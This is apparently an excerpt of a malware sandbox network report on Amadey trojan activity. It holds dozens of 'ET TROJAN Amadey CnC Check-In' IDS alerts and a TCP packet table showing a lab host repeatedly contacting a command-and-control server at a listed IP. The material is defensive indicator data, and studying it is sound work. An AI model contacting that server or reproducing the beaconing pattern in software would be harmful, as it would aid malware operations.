192.168.2.762.204.41.450338802027700 02/07/23-23:09:54.241583	TCP	2027700	ET TROJAN Amadey CnC Check-In	50338	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450065802027700 02/07/23-23:08:42.321938	TCP	2027700	ET TROJAN Amadey CnC Check-In	50065	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450411802027700 02/07/23-23:10:11.977609	TCP	2027700	ET TROJAN Amadey CnC Check-In	50411	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450019802027700 02/07/23-23:08:29.231063	TCP	2027700	ET TROJAN Amadey CnC Check-In	50019	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450464802027700 02/07/23-23:10:26.781066	TCP	2027700	ET TROJAN Amadey CnC Check-In	50464	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449886802027700 02/07/23-23:07:51.330001	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450055802027700 02/07/23-23:08:39.857527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50055	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450233802027700 02/07/23-23:09:26.208391	TCP	2027700	ET TROJAN Amadey CnC Check-In	50233	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449935802027700 02/07/23-23:08:06.241910	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450171802027700 02/07/23-23:09:10.958890	TCP	2027700	ET TROJAN Amadey CnC Check-In	50171	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450441802027700 02/07/23-23:10:21.186453	TCP	2027700	ET TROJAN Amadey CnC Check-In	50441	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450085802027700 02/07/23-23:08:47.307738	TCP	2027700	ET TROJAN Amadey CnC Check-In	50085	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449843802027700 02/07/23-23:07:40.769584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450263802027700 02/07/23-23:09:35.762539	TCP	2027700	ET TROJAN Amadey CnC Check-In	50263	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449757802027700 02/07/23-23:07:16.570116	TCP	2027700	ET TROJAN Amadey CnC Check-In	49757	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449876802027700 02/07/23-23:07:48.864985	TCP	2027700	ET TROJAN Amadey CnC Check-In	49876	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449873802027700 02/07/23-23:07:48.143493	TCP	2027700	ET TROJAN Amadey CnC Check-In	49873	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449702802027700 02/07/23-23:07:03.497685	TCP	2027700	ET TROJAN Amadey CnC Check-In	49702	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449948802027700 02/07/23-23:08:09.418495	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449698802027700 02/07/23-23:07:02.520211	TCP	2027700	ET TROJAN Amadey CnC Check-In	49698	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450098802027700 02/07/23-23:08:50.686542	TCP	2027700	ET TROJAN Amadey CnC Check-In	50098	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449830802027700 02/07/23-23:07:35.970669	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450016802027700 02/07/23-23:08:28.501580	TCP	2027700	ET TROJAN Amadey CnC Check-In	50016	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450454802027700 02/07/23-23:10:24.351476	TCP	2027700	ET TROJAN Amadey CnC Check-In	50454	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450207802027700 02/07/23-23:09:19.807802	TCP	2027700	ET TROJAN Amadey CnC Check-In	50207	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450276802027700 02/07/23-23:09:38.947586	TCP	2027700	ET TROJAN Amadey CnC Check-In	50276	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450467802027700 02/07/23-23:10:27.519527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50467	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450230802027700 02/07/23-23:09:25.448061	TCP	2027700	ET TROJAN Amadey CnC Check-In	50230	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449807802027700 02/07/23-23:07:30.407498	TCP	2027700	ET TROJAN Amadey CnC Check-In	49807	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449978802027700 02/07/23-23:08:19.152480	TCP	2027700	ET TROJAN Amadey CnC Check-In	49978	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450052802027700 02/07/23-23:08:39.150060	TCP	2027700	ET TROJAN Amadey CnC Check-In	50052	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450348802027700 02/07/23-23:09:56.686065	TCP	2027700	ET TROJAN Amadey CnC Check-In	50348	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449866802027700 02/07/23-23:07:46.384765	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449860802027700 02/07/23-23:07:44.917311	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449777802027700 02/07/23-23:07:23.237313	TCP	2027700	ET TROJAN Amadey CnC Check-In	49777	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449955802027700 02/07/23-23:08:11.133835	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450240802027700 02/07/23-23:09:30.031560	TCP	2027700	ET TROJAN Amadey CnC Check-In	50240	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450151802027700 02/07/23-23:09:04.039199	TCP	2027700	ET TROJAN Amadey CnC Check-In	50151	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450062802027700 02/07/23-23:08:41.588091	TCP	2027700	ET TROJAN Amadey CnC Check-In	50062	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449850802027700 02/07/23-23:07:42.466685	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450279802027700 02/07/23-23:09:39.671696	TCP	2027700	ET TROJAN Amadey CnC Check-In	50279	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449945802027700 02/07/23-23:08:08.700275	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450434802027700 02/07/23-23:10:19.489029	TCP	2027700	ET TROJAN Amadey CnC Check-In	50434	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450345802027700 02/07/23-23:09:55.938392	TCP	2027700	ET TROJAN Amadey CnC Check-In	50345	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449767802027700 02/07/23-23:07:19.936780	TCP	2027700	ET TROJAN Amadey CnC Check-In	49767	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450368802027700 02/07/23-23:10:01.561612	TCP	2027700	ET TROJAN Amadey CnC Check-In	50368	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450250802027700 02/07/23-23:09:32.516213	TCP	2027700	ET TROJAN Amadey CnC Check-In	50250	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450457802027700 02/07/23-23:10:25.069012	TCP	2027700	ET TROJAN Amadey CnC Check-In	50457	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449856802027700 02/07/23-23:07:43.927943	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450161802027700 02/07/23-23:09:06.445124	TCP	2027700	ET TROJAN Amadey CnC Check-In	50161	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450072802027700 02/07/23-23:08:44.049738	TCP	2027700	ET TROJAN Amadey CnC Check-In	50072	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450167802027700 02/07/23-23:09:08.918959	TCP	2027700	ET TROJAN Amadey CnC Check-In	50167	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450256802027700 02/07/23-23:09:34.024543	TCP	2027700	ET TROJAN Amadey CnC Check-In	50256	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450078802027700 02/07/23-23:08:45.546416	TCP	2027700	ET TROJAN Amadey CnC Check-In	50078	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450266802027700 02/07/23-23:09:36.481027	TCP	2027700	ET TROJAN Amadey CnC Check-In	50266	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450355802027700 02/07/23-23:09:58.376240	TCP	2027700	ET TROJAN Amadey CnC Check-In	50355	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450269802027700 02/07/23-23:09:37.221380	TCP	2027700	ET TROJAN Amadey CnC Check-In	50269	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450006802027700 02/07/23-23:08:26.061962	TCP	2027700	ET TROJAN Amadey CnC Check-In	50006	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450358802027700 02/07/23-23:09:59.107326	TCP	2027700	ET TROJAN Amadey CnC Check-In	50358	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450447802027700 02/07/23-23:10:22.643400	TCP	2027700	ET TROJAN Amadey CnC Check-In	50447	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449840802027700 02/07/23-23:07:40.053784	TCP	2027700	ET TROJAN Amadey CnC Check-In	49840	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450177802027700 02/07/23-23:09:12.432080	TCP	2027700	ET TROJAN Amadey CnC Check-In	50177	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449751802027700 02/07/23-23:07:15.127198	TCP	2027700	ET TROJAN Amadey CnC Check-In	49751	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450444802027700 02/07/23-23:10:21.912071	TCP	2027700	ET TROJAN Amadey CnC Check-In	50444	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449708802027700 02/07/23-23:07:04.970651	TCP	2027700	ET TROJAN Amadey CnC Check-In	49708	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450088802027700 02/07/23-23:08:48.057973	TCP	2027700	ET TROJAN Amadey CnC Check-In	50088	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449968802027700 02/07/23-23:08:14.393779	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449761802027700 02/07/23-23:07:17.550184	TCP	2027700	ET TROJAN Amadey CnC Check-In	49761	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450009802027700 02/07/23-23:08:26.787937	TCP	2027700	ET TROJAN Amadey CnC Check-In	50009	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450342802027700 02/07/23-23:09:55.215790	TCP	2027700	ET TROJAN Amadey CnC Check-In	50342	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449942802027700 02/07/23-23:08:07.961390	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449853802027700 02/07/23-23:07:43.194714	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449764802027700 02/07/23-23:07:18.587959	TCP	2027700	ET TROJAN Amadey CnC Check-In	49764	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450253802027700 02/07/23-23:09:33.281756	TCP	2027700	ET TROJAN Amadey CnC Check-In	50253	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450431802027700 02/07/23-23:10:18.720532	TCP	2027700	ET TROJAN Amadey CnC Check-In	50431	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450075802027700 02/07/23-23:08:44.816817	TCP	2027700	ET TROJAN Amadey CnC Check-In	50075	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450164802027700 02/07/23-23:09:07.186122	TCP	2027700	ET TROJAN Amadey CnC Check-In	50164	80	192.168.2.7	62.204.41.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 7, 2023 23:07:00.461663008 CET	49694	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.462452888 CET	49695	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.521253109 CET	80	49694	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:00.523772001 CET	80	49695	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:00.523967028 CET	49695	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.523969889 CET	49694	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.567050934 CET	49694	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.567383051 CET	49695	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.626472950 CET	80	49694	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:00.628007889 CET	80	49695	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:00.628043890 CET	80	49695	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:00.628181934 CET	49695	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:00.630398035 CET	80	49694	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:00.633327007 CET	49694	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.257010937 CET	49694	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.257169008 CET	49695	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.257797956 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.269526958 CET	49697	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.316663980 CET	80	49694	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.316807032 CET	49694	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.317754030 CET	80	49695	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.317861080 CET	49695	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.320179939 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.320318937 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.332140923 CET	80	49697	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.332343102 CET	49697	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.356877089 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.357866049 CET	49697	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419548988 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419603109 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419640064 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419676065 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419684887 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419708967 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419709921 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419723034 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419744015 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419749975 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419779062 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419784069 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419814110 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419821024 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419850111 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419852972 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419883013 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419889927 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419918060 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.419941902 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.419959068 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.420213938 CET	80	49697	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.422851086 CET	80	49697	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.423002005 CET	49697	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482530117 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.482631922 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.482714891 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482717991 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.482748032 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482784033 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482789993 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.482839108 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.482845068 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482889891 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.482892036 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482943058 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.482953072 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483006001 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483020067 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483088017 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483088017 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483145952 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483151913 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483200073 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483202934 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483246088 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483253002 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483289957 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483292103 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483335018 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483341932 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483380079 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483382940 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483424902 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483429909 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483470917 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483474970 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483515024 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483530998 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483561039 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483580112 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483616114 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.483627081 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.483678102 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546163082 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546211004 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546240091 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546261072 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546279907 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546298981 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546318054 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546327114 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546339035 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546358109 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546370983 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546376944 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546392918 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546396017 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546415091 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546416998 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546433926 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546452999 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546467066 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546471119 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546489954 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546505928 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546509027 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546528101 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546529055 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546550035 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546564102 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546583891 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546583891 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546590090 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546607971 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546617985 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546639919 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546644926 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546672106 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546673059 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546715021 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546717882 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546736002 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546741009 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546761036 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546782017 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546787977 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546799898 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546818972 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546824932 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546838999 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546850920 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546857119 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546876907 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546880960 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546896935 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546900988 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546919107 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546938896 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.546945095 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.546976089 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.547002077 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.547002077 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.547003984 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.547032118 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.547033072 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.547053099 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.547055960 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.547079086 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.547101021 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:01.609761953 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.609795094 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:01.609919071 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.414792061 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.414921999 CET	49697	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.415836096 CET	49698	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.475492954 CET	80	49698	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.475696087 CET	49698	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.477302074 CET	80	49696	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.477354050 CET	80	49697	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.477463007 CET	49697	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.478755951 CET	49696	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.520210981 CET	49698	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.579711914 CET	80	49698	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.582041979 CET	80	49698	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.582200050 CET	49698	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.727500916 CET	49698	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.728502035 CET	49699	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.786936045 CET	80	49698	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.787081003 CET	49698	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.789252996 CET	80	49699	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.789383888 CET	49699	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.789716005 CET	49699	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.850325108 CET	80	49699	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.853396893 CET	80	49699	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:02.853524923 CET	49699	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.967699051 CET	49699	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:02.969546080 CET	49700	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.028666019 CET	80	49699	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.028904915 CET	49699	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.029791117 CET	80	49700	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.029897928 CET	49700	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.031560898 CET	49700	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.092092991 CET	80	49700	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.096266031 CET	80	49700	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.096373081 CET	49700	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.203766108 CET	49700	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.204504967 CET	49701	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.263845921 CET	80	49701	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.263945103 CET	49701	80	192.168.2.7	62.204.41.4
